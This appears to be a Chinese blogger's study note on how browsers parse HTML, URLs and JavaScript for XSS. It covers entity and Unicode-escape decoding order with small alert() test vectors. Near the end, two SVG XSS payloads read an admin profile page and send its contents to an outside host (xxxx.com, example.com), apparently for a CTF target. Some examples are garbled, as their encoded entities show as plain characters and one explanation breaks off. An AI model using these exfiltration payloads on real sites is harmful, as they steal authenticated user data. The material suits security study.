前言
最近,再看看xss,发现对xss并不是太了解,学习xss需要了解到浏览器的解释机制。我是看Tuuu Nya师傅文章里推荐的文章(深入理解浏览器解释机制和xss向量编码)。我自己总结一下吧。
浏览器解析机制
浏览器解析一篇HTML文档时,主要有三个处理过程:HTML解析,URL解析和JavaScript解析。每个解析器负责解码和解析HTML文档中它所对应的部分,他们的工作原理都已经在其对应的解释器规范中写明。我这里只是粗略的了解一番。
HTML解析
一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。在解析过程中,任何时候它只要遇到一个’<’符号(后面没有跟’/‘符号)就会进入“标签开始状态(Tag open state)”。然后转变到“标签名状态(Tag name state)”,“前属性名状态(before attribute name state)”……最后进入“数据状态(Data state)”并释放当前标签的token。当解析器处于“数据状态(Data state)”时,它会继续解析,每当发现一个完整的标签,就会释放出一个token。(原文内容)
这里有三种情况可以容纳字符实体,“数据状态中的字符引用”,“RCDATA状态中的字符引用”和“属性值状态中的字符引用”。在这些状态中HTML字符实体将会从“&#…”形式解码,对应的解码字符会被放入数据缓冲区中。
这里如果xss利用可以通过在属性中JavaScript:alert(1),转实体可以被解释,所以可以执行。但是实体化后的双引号,单引号,前括号并不能切换解释器状态,并不能解释为当前状态结束或开始,所以并不能用来添加属性或标签。
例子:
<div><img src=x onerror=alert(4)></div>
“<”和“>”字符被编码为“<”和“>”
解释:当解析器解析完“
在HTML中有五类元素:
1 空元素(Void elements),如<area>,<br>,<base>等等
2. 原始文本元素(Raw text elements),有<script>和<style>
3. RCDATA元素(RCDATA elements),有<textarea>和<title>
4. 外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素
5. 基本元素(Normal elements),即除了以上4种元素以外的元素
五类元素的区别如下
空元素,不能容纳任何内容(因为它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间)。
原始文本元素,可以容纳文本。
RCDATA元素,可以容纳文本和字符引用。
外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释
基本元素,可以容纳文本、字符引用、其他元素和注释
上面的“RCDATA状态”可以解释字符实体,在解析这些字符引用的过程中不会进入“标签开始状态”。在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。在这个状态中,如果遇到“<”字符,它会转换到“RCDATA小于号状态”。如果“<”字符后没有紧跟着“/”和对应的标签名,解析器会转换回“RCDATA状态”。这意味着在RCDATA元素标签的内容中(例如<textarea>或<title>
的内容中),唯一能够被解析器认做是标签的就是“</textarea>
”或者“</title>
”,即谁开始的这个状态,就解释谁的结束标签。
例子:
<textarea><script>alert(6);</script></textarea>
<textarea><script>alert(5)</script></textarea>
都不会执行js代码。
我们再来看一下CDATA元素。任何在CDATA元素中的内容将不会触发解析器创建开始标签。闭合CDATA元素的标志是“]]>”序列。因此如果用户想逃出CDATA元素,就要用未经任何编码的“]]>”序列,不然是不会逃出CDATA元素的。
例子:xml.xml
<xml>
<name><</name>
<value><![CDATA[<]]></value>
</xml>
URL解析
URL解析细则
URL由三部分组成:资源类型、存放资源的主机域名、资源文件名
例子:
http://bobao.360.cn/learning/detail/292.html
资源类型:http
存放资源的主机域名:bobao.360.cn
资源文件名: learning/detail/292.html
首先,URL资源类型必须是ASCII字母。不然就会进入“无类型”状态。
例:
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">alert1</a>
URL 编码 "javascript:alert(1)" 不会执行。
解释: 因为资源类型Javascript被url编码,进入“无类型”状态。
同样冒号也不能被编码。
<a href="javascript%3aalert(3)">alert3</a>
不会执行。因为冒号被编码
但是:
<a href="javascript:alert(1);"> aaaaaaaaaaaa</a>
能执行,这是“属性值中的字符引用”,这个情况中字符引用会被解码。我们将稍后讨论解析顺序。对href属性里的字符实体进行了解码。然后,当HTML解析器工作完成后,URL解析器开始解析href属性值里的链接。在这时,“javascript”协议已经被解码,它能够被URL解析器正确识别。这就是能被执行的原因。
URL编码过程使用UTF-8编码类型来编码每一个字符。如果你尝试着将URL链接做了其他编码类型的编码,URL解析器就可能不会正确识别。
JavaScript 解析
所有的“script”块都属于“原始文本”元素。“script”块有个有趣的属性:在块中的字符引用并不会被解析和解码。“脚本数据状态”的状态转换规则,没有任何规则能转移到字符引用状态。这意味含有字符实体的脚本并不会执行。所以如果攻击者尝试着将输入数据编码成字符实体并将其放在script块中,它将不会被执行。
例:
<script>alert(9);</script>
不会被执行。
当Unicode转义序列出现在标识符名称中时,它会被解码并解释为标识符名称的一部分,例如函数名,属性名等等。
例:
<script>\u0061\u006c\u0065\u0072\u0074(10);</script><!-- 能执行 -->
Unicode 编码 alert
被正确解析为函数名。
当用Unicode转义序列来表示一个控制字符时,例如单引号、双引号、圆括号等等,它们将不会被解释成控制字符,而仅仅被解码并解析为标识符名称或者字符串常量。
例:
<script>alert\u0028100\u0029</script>
Unicode 编码 '(' 和')'
<script>alert('13\u0027)</script>
Unicode 编码 " ' " (单引号)
把uniocde\u0027解析为了一个常量',而不是控制字符'。所以无法闭合。
都不能被执行
例:
<script>alert(\u0031)</script>
不能执行
解释:
要么是因为'\u0031\u0032'不会被解释为字符串常量(因为它们没有用引号闭合)要么是因为它们是ASCII型数字。如果有引号闭合后能够执行。
例:
<script>alert('14\u000a')</script>
Unicode 编码换行符(0x0A)
能被执行。
解释:
'\u000a'会被解释成换行符文本,这并不会导致真正的换行从而引发JavaScript语法错误。
Unicode转义序列只有在标识符名称里不被当作字符串,也只有在标识符名称里的编码字符能够被正常的解析。
解析流程
当浏览器从网络堆栈中获得一段内容后,触发HTML解析器来对这篇文档进行词法解析。在这一步中字符引用被解码。在词法解析完成后,DOM树就被创建好了,JavaScript解析器会介入来对内联脚本进行解析。在这一步中Unicode转义序列和Hex转义序列被解码。同时,如果浏览器遇到需要URL的上下文,URL解析器也会介入来解码URL内容。在这一步中URL解码操作被完成。由于URL位置不同,URL解析器可能会在JavaScript解析器之前或之后进行解析。
考虑如下两种情况:
Example A: <a href="UserInput"></a>
Example B: <a href=# onclick="window.open('UserInput')"></a>
在例A中,HTML解析器将首先开始工作,并对UserInput中的字符引用进行解码。然后URL解析器开始对href值进行URL解码。最后,如果URL资源类型是JavaScript,那么JavaScript解析器会进行Unicode转义序列和Hex转义序列的解码。再之后,解码的脚本会被执行。因此,这里涉及三轮解码,顺序是HTML,URL和JavaScript。
在例B中,HTML解析器首先工作。然而接下来,JavaScript解析器开始解析在onclick事件处理器中的值。这是因为在onclick事件处理器中是script的上下文。当这段JavaScript被解析并被执行的时候,它执行的是“window.open()”操作,其中的参数是URL的上下文。在此时,URL解析器开始对UserInput进行URL解码并把结果回传给JavaScript引擎。因此这里一共涉及三轮解码,顺序是HTML,JavaScript和URL。
Example C: <a href="javascript:window.open('UserInput')">
例C与例A很像,但不同的是在UserInput前多了window.open()操作。因此,对UserInput多了一次额外的URL解码操作。总的来说,四轮解码操作被完成,顺序是HTML,URL,JavaScript和URL。
svg xss
SVG 是使用 XML 来描述二维图形和绘图程序的语言。
也就是说<svg>
遵循XML的定义。
在XML中实体会自动转义,除了<![CDATA[
和]]>
包含的实体
上面的例子就能说明这一点。
SVG标准中定义了script标签的存在,<svg>
遵循XML和SVG的定义,因此我们可以利用其来执行XSS。
<?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" id="Layer_1" x="0px" y="0px" width="100px" height="100px" viewBox="-12.5 -12.5 100 100" xml:space="preserve">
<g>
<polygon fill="#00B0D9" points="41.5,40 38.7,39.2 38.7,47.1 41.5,47.1 "></polygon>
<script type="text/javascript">
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState === 4) {
var xhr2 = new XMLHttpRequest();
xhr2.open("POST", "http://xxxx.com/");
xhr2.send(xhr.responseText);
}
}
xhr.open("GET", "http://web50.zajebistyc.tf/profile/admin");
xhr.withCredentials = true;
xhr.send();
</script>
</g>
</svg>
这样就能获取到响应的信息。
或者:
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px" width="100px" height="100px" viewBox="0 0 100 100" enable-background="new 0 0 100 100" xml:space="preserve">
<script>
fetch("http://web50.zajebistyc.tf/profile/admin").then(r => r.text()).then(t => fetch("//example.com/"+btoa(t)));
</script>
<image id="image0" width="100" height="100" x="0" y="0"
href="" />
</svg>
总结
还是有点懵,先把xss学到这吧。 试试水去。之后再去存一点xss的payload。下次用的时候不用现想了。